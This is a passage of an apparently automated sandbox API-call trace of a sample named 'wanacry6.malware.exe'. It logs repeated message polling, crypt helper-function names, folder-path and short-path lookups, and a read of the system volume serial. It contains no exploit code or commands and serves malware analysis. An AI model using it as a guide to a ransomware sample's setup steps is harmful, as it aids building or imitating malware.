(in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.574] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.574] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.574] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.574] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.574] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.574] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.574] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.574] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.574] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0031.575] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.575] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.575] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0031.575] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.575] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.575] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.575] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0031.575] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.575] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.575] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0xc80cb2ed40 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0031.576] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0xc80cb1f520, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0031.576] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.576] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0xc80cb2ed40 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0031.576] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0xc80cb1f520, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0031.576] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.576] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0xc80cb2ed40 | out: pszPath="C:\\Program Files") returned 0x0 [0031.577] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0xc80cb1f520, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0031.577] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.577] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0xc80cb1f520, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0031.577] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.577] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0xc80cb1f520, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0031.577] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.577] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0xc80cb1f520, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0031.578] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.578] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.578] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0031.578] PeekMessageW (in: lpMsg=0xc80cb2f050, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f050) returned 0 [0031.578] PeekMessageW (in: lpMsg=0xc80cb2f050, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f050) returned 0 [0031.578] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xc80cb1f560, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0xc80cb2f588, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xc80cb2f588*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.578] GetLastError () returned 0x3f0 [0031.578] SetLastError (dwErrCode=0x3f0) [0031.578] GetLastError () returned 0x3f0 [0031.578] SetLastError (dwErrCode=0x3f0) [0031.578] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.578] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.579] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.579] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.580] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0031.581] PeekMessageW (in: 